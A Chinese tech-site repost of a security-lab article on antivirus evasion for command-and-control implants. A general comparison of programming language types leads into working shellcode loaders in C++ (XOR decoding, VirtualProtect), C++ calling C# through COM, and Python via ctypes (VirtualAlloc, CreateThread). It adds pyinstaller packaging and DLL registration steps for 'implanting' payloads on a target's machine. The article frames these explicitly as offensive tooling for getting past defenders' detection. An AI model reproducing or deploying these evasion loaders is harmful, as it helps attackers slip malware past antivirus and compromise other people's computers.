0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

什么语言适合做C2工具的免杀?

蛇矛实验室 来源:蛇矛实验室 2023-02-16 10:30 次阅读

1.什么语言适合做C2工具的免杀

首先我们需要了解一下编程语言的分类,大致可以分为以下几种.

1.低级语言

机器语言(二进制代码)、汇编语言(面向机器的程序设计语言)和符号语言。汇编语言源程序必须经过汇编,生成目标文件,然后执行。

机器语言优缺点如下:

优点:直接执行,速度快,资源占用少。

缺点:可读性、可移植性差,编程繁杂;

汇编语言优缺点如下:

优点:能够保持机器语言的一致性,直接、简捷,并能像机器指令一样访问、控制计算机的各种硬件设备,如磁盘、存储器、CPU、I/O端口等。使用汇编语言,可以访问所有能够被访问的软、硬件资源,目标代码简短,占用内存少,执行速度快。

缺点:不同的处理器有不同的汇编语言语法和编译器,编译的程序无法在不同的处理器上执行,缺乏可移植性,难于从汇编语言代码上理解程序设计意图,可维护性差,即使是完成简单的工作也需要大量的汇编语言代码,很容易产生bug,难于调试,使用汇编语言必须对某种处理器非常了解,而且只能针对特定的体系结构和处理器进行优化,开发效率很低,周期长且单调。

2.高级语言

BASIC(True basic、Qbasic、Virtual Basic)、C、C++、PASCAL、FORTRAN、智能化语言(LISP、Prolog)、动态 语言(Python、PHP、Ruby、Lua)等等。高级语言源程序可以用解释、编译两种方式执行。通常用后一种。我们使用的C语言就是使用的后者。

高级语言的优缺点如下:

优点:高级语言接近算法语言,易学、易掌握,级语言为程序员提供了结构化程序设计的环境和工具,使得设计出来的程序可读性好,可维护性强,可靠性高;高级语言远离机器语言,与具体的计算机硬件关系不大,可移植性好,重用率高;由于把繁杂琐碎的事务交给了编译程序去做,所以自动化程度高,开发周期短,且程序员得到解脱,可以集中时间和精力去从事对于他们来说更为重要的创造性劳动,以提高程序的质量。

缺点:运行速度基本上比直接用汇编写的慢,速度和程序大小与编译软件有关。

按转换方式可分为三类:① 编译型语言; ② 解释型语言;③ 混合型语言。

计算机不能直接的理解高级语言,只能直接理解机器语言,所以必须要把高级语言翻译成机器语言,计算机才能执行高级语言的编写的程序。翻译的方式有两种,一个是编译,一个是解释。两种方式只是翻译的时间不同。

编译型语言

7e8a8c5c-ad17-11ed-bfe3-dac502259ad0.png

需通过编译器(compiler)将源代码编译成机器码,之后才能执行的语言。一般需经过编译(compile)、链接(linker)这两个步骤。编译是把源代码编译成机器码,链接是把各个模块的机器码和依赖库串连起来生成可执行文件。编译和执行是分开的,但是不能跨平台。

优点:编译器一般会有预编译的过程对代码进行优化。因为编译只做一次,运行时不需要编译,所以编译型语言的程序执行效率高。可以脱离语言环境独立运行。

缺点:编译之后如果需要修改就需要整个模块重新编译。编译的时候根据对应的运行环境生成机器码,不同的操作系统之间移植就会有问题,需要根据运行的操作系统环境编译不同的可执行文件。

代表语言:C、C++、Pascal、Object-C、swift等。

解释型语言

7e9bacee-ad17-11ed-bfe3-dac502259ad0.png

解释性语言的程序不需要编译,相比编译型语言省了道工序,解释性语言在运行程序的时候才逐行翻译。每一个语句都是执行的时候才能翻译。这样解释性语言每执行一次要翻译一次,效率表较低。

优点:有良好的平台兼容性,在任何环境中都可以运行,前提是安装了解释器(虚拟机)。灵活,修改代码的时候直接修改就可以,可以快速部署,不用停机维护。

缺点:每次运行的时候都要解释一遍,性能上不如编译型语言。

代表语言:JavaScript、Python、Erlang、PHP、Perl、Ruby等。

混合型语言

7ead1ace-ad17-11ed-bfe3-dac502259ad0.png

混合型语言也叫半编译型语言。比如java、C#,C#在编译的时候不是直接编译成机器码而是中间码,.NET平台提供了 中间语言运行库运行中间码,中间语言运行库类似于Java虚拟机。.net在编译成IL代码后,保存在dll中,首次运行时由JIT在编译成机器码缓存在内存中,下次直接执行。

java解释器采用生成与系统无关的字节代码指令技术。也就是说,在任何不同的操作系统上,只要正确安装了java运行系统,就有了编写调试java程序的平台,在分布式应用中,java的这个特点使同一个java程序能在不同的系统上运行,从而提高了软件生产效率。可移植性是跨平台特性的一个延伸,即具有了跨平台性,就保证了可移植性。java程序、java类库、java编译器、java系统都具有可移植性。

另外有一个特殊的情况,正常情况下JavaScript属于解释性语言,V8引擎是被设计用来提高网页浏览器内部JavaScript执行的性能,为了提高性能,v8会把js代码转换为高效的机器码,而不在是依赖于解释器去执行。v8引入了JIT在运行 时把js代码进行转换为机器码。这里的主要区别在于V8不生成字节码或任何中间代码。这里的特殊之处在于JIT做代码优化(同时生成编译版本);解释型语言无法做到这些。

3.结论

综上所述我们基本是所有语言都可以对软件进行免杀,那么这里推荐几个语言 C/C++/C#/PYTHON/GO 这里我们会针对这些进行免杀的测试,为什么这里混合型语言选择C#而不是JAVA 因为C#的.Net Framework环境在win7以上机器上已经存在了只不过是版本不同,而Java的解释器环境就不是了,而且很大,这样我们就不是很容易的植入对方机器,从而不是很容易执行我们自身程序.

2.C/C++对ShellCode免杀

1.原理

用C/C++对ShellCode进行异或加密 在执行

2.代码实现

#include
#include

// 异或22的ShellCode 自己的SellCode
uint8_tcode[933] = { 0};

intmain()
{
for(auto& value : code)
{
value ^= 22;
}

DWORD old;
VirtualProtect(&code, sizeofcode, PAGE_EXECUTE_READWRITE, &old);

((void(*)()) & code)();

return0;
}

3.效果

7ebfd808-ad17-11ed-bfe3-dac502259ad0.png

3.C++ and C# 对ShellCode进行免杀

1.原理

使用COM组件 用C++调用C# DLL进行免杀

2.代码实现

7ee08062-ad17-11ed-bfe3-dac502259ad0.png

选择类库 .NET Framework 创建一个类库项目

usingSystem;
usingSystem.Collections;
usingSystem.Collections.Generic;
usingSystem.Linq;
usingSystem.Net.Http;
usingSystem.Reflection;
usingSystem.Runtime.InteropServices;
usingSystem.Text;
usingSystem.Threading.Tasks;

namespaceClassLibrary1
{
[Guid("75A14A5E-968D-4140-A8BA-746DFBAFE408")]
publicinterfaceIClass1
{
[DispId(1)]
voidExeSellCode(IntPtr shellCodeAddr, intlen);
}

delegatevoidExeCall();
publicclassClass1: IClass1
{
publicvoidExeSellCode(IntPtr shellCodeAddr, intlen)
{
IntPtr intPtr = IntPtr.Zero;
VirtualProtect(shellCodeAddr, len, 0x40, outintPtr);
ExeCall call =(ExeCall)(Marshal.GetDelegateForFunctionPointer(shellCodeAddr, typeof(ExeCall)));
call.DynamicInvoke();
}

[DllImport("kernel32.dll")]
staticexternboolVirtualProtect(IntPtr lpAddress, Int64 dwSize, uintflNewProtect, outIntPtr lpflOldProtect);
}
}
#include 
#import "ClassLibrary1.tlb"
using namespace ClassLibrary1;


uint8_t code[933] = {
ShellCode
};

voidExeSellCode(longlongshellCodeAddr, intlen)
{
CoInitialize(nullptr);
ClassLibrary1::IClass1Ptr ptr(__uuidof(Class1));
ptr->ExeSellCode((longlong)shellCodeAddr, len);
ptr->Release();
CoUninitialize();
}

intmain()
{
for(auto& value : code)
{
value ^= 22;
}

ExeSellCode((longlong)&code, sizeof(code));

return0;
}

3.效果

7ef9f0c4-ad17-11ed-bfe3-dac502259ad0.png

4.Python对ShllCode进行免杀

1.原理

Python写完之后 可以通过CPython 进行打包成二进制文件直接运行,体积较大.

2.代码实现

importctypes


defmain():
# length: 933 bytes
buf = b"Python ShellCode xff"
shellcode = bytearray(buf)
size = len(shellcode)
kernel32 = ctypes.windll.kernel32
kernel32.VirtualAlloc.restype = ctypes.c_uint64
MEM_COMMIT = 0x00001000
PAGE_EXECUTE_READWRITE = 0x40
# 申请内存空间
ptr = kernel32.VirtualAlloc(
ctypes.c_int(0), # 基址可以填0, 但是数据类型需要转换
ctypes.c_int(size), # 设置堆栈大小
ctypes.c_int(MEM_COMMIT), # 提交到物理内存
ctypes.c_int(PAGE_EXECUTE_READWRITE) # 设置权限为可读可写可执行
)
# 把shellcode放入缓冲区
buf = (ctypes.c_char * size).from_buffer(shellcode)
kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr), # 申请的内存
buf, # shellcode
ctypes.c_int(size) # 移动的数据大小
)
# 创建线程调用shellcode
hThread = kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr), # 利用线程函数调用shellcode
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)) # 线程id为指针类型, 需要传入地址, 所以用ctypes.pointer
)
# 等待线程执行完毕, 关闭程序
# INIFITE在c的设定中值为: -1
kernel32.WaitForSingleObject(ctypes.c_int(hThread), ctypes.c_int(-1))


if__name__ == '__main__':
main()

需要打包成exe

pip install pyinstaller -> pyinstaller -F .main.py --noconsole

3.效果

7f49df6c-ad17-11ed-bfe3-dac502259ad0.png

7f7a314e-ad17-11ed-bfe3-dac502259ad0.png

可以正常上线

6.总结

1.文字总结

综上所述,我们可以看到的是对于ShellCode异或之后目前测试的只有Python可上线,但是并不代表最好用Python来写,恰恰相反我们基本不会去用Python,因为生成的文件大,刚刚生成的大概为8M左右,不利于我们植入到(敌军)电脑.

这里只是介绍了可以用不同语言去来执行上线ShellCode,当然效果也肯定是有所不同的,其他语言还需要自己去测试,不过目前效果很好的有GO,C++还算不错,剩下的就靠你们聪明的大脑去想了.

语言并不能对免杀起到关键的作用,最主要的还是一些稀奇古怪的思路和方法,在今后的帖子里面将会持续更新相关内容.

2.注意点

C# 和 C++里面需要注意的点 C# 类库要生成COM

7f8d46d0-ad17-11ed-bfe3-dac502259ad0.png

7fa0950a-ad17-11ed-bfe3-dac502259ad0.png

这样会自动在系统里注册dll 如果需要植入到别人电脑里面 需要先将dll加入缓冲区在注册

gacutil /i DLL路径 将这个DLL加入的全局缓存里

regasm DLL路径 注册这个dll

Python注意点

需要将python文件生成可执行文件,如果不想生成可执行文件,也可以将Python环境打包到对方环境然后直接Python脚本。





审核编辑:刘清

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • 处理器
    +关注

    关注

    68

    文章

    18285

    浏览量

    222167
  • 编程语言
    +关注

    关注

    9

    文章

    1878

    浏览量

    33136
  • 汇编语言
    +关注

    关注

    14

    文章

    404

    浏览量

    35199
  • 机器语言
    +关注

    关注

    0

    文章

    35

    浏览量

    10701

原文标题:免杀技术之语言免杀

文章出处:【微信号:蛇矛实验室,微信公众号:蛇矛实验室】欢迎添加关注!文章转载请注明出处。

收藏 人收藏

    评论

    相关推荐

    小七论坛vip 2013源码培训课程

    环境的搭建么?第三课:原始真的老去了么?myccl抗干扰测试第四课:我们要学习c语言
    发表于 10-05 17:35

    CC254X加密安全吗,适合做蓝牙锁吗?

    CC254X加密安全吗,适合做蓝牙锁吗?CC254X适合做蓝牙锁吗?怎么觉得CC254X安全系数好低啊。配对那个PASSWORD才0~99999,不是很容易被试出来吗?还是说CC254X有别的东西
    发表于 04-05 17:30

    讨论帖:电子元器件适合做电子商务吗?

    `电子元器件比如贴片电阻适合做电子商务吗?`
    发表于 04-19 15:22

    C语言的底层操作

      C语言的内存模型基本上对应了现在von Neumann(冯·诺伊曼)计算机的实际存储模型,很好的达到了对机器的映射,这是C/C++适合做
    发表于 04-23 11:56

    请问TI UCD系列适合做逆变器控制吗?

    TI UCD系列适合做逆变器控制吗?
    发表于 08-19 06:40

    AD7175-2适合做高精度万用表吗

    压,精度只有3位半左右,后几位抖动的非常厉害,这是为什么?是不是我使用的不恰当?如果AD7175-2适合做高精度数据采集,可以给我推荐一款24bit的ADC做数采吗?
    发表于 09-14 14:27

    请问LM317是否适合做电瓶车的电源管理?

    需要将48V电瓶电压变换到15V驱动无刷直流电动机。哪个大神推荐几款TI的适合做电瓶车电源管理的。
    发表于 07-05 12:26

    女性会更适合做架构师?

    人们往往发现优秀的数学家、物理学家以及软件架构师有着很多相似的素质,甚至往往能够一人精通这好几个领域,其中很重要的原因就是这个抽象思维的能力。架构师们潜意识中会觉得女性更适合做架构师?让我们看看这是为什么。
    发表于 07-17 06:15

    LabVIEW是否适合做中型项目

    请教各位资深人士一个问题:LabVIEW是否适合做中型项目。我以前是专门做下位机的,项目都是用PLC+HMI来搭建的,现在我们公司想用LabVIEW+PCI多轴运动板卡+PCI数据采集卡来替代原有
    发表于 10-23 21:05

    PCB负片工艺为何不适合做金属化半孔

    `请问PCB负片工艺为何不适合做金属化半孔?`
    发表于 02-26 16:42

    为何z-wave比zigbee更适合做智能家居网关?

    为何z-wave比zigbee更适合做智能家居网关?是因为Z-Wave的系统复杂性比ZigBee小, 比蓝牙设备要小得多,协议简单,所要求的存储空间很小嘛?
    发表于 12-01 16:48

    请问波长多少的紫外线led适合做uv漆的光固化?

    波长多少的紫外线led适合做uv漆的光固化?
    发表于 11-02 08:08

    AD7175-2适合做高精度数据采集吗?

    压,精度只有3位半左右,后几位抖动的非常厉害,这是为什么?是不是我使用的不恰当?如果AD7175-2适合做高精度数据采集,可以给我推荐一款24bit的ADC做数采吗?
    发表于 12-18 08:29

    Erlang是什么_erlang适合做什么_olang与erlang的比较

    本文详细介绍了Erlang是什么,erlang适合做什么以及olang与erlang的关系比较。Erlang编程语言最初目的是进行大型电信交换设备的软件开发,是一种适用于大规模并行处理环境的高可靠性
    发表于 02-23 09:23 2.2w次阅读
    Erlang是什么_erlang<b class='flag-5'>适合做</b>什么_olang与erlang的比较

    怎样知道自己适不适合做程序员

    编程是一门非常有技术含量的手艺活,待遇和福利相对来说较为丰厚。由于种种原因想要转行做程序员的人,总会有这样的困惑:我是否适合做程序员呢?
    的头像 发表于 12-06 16:39 2386次阅读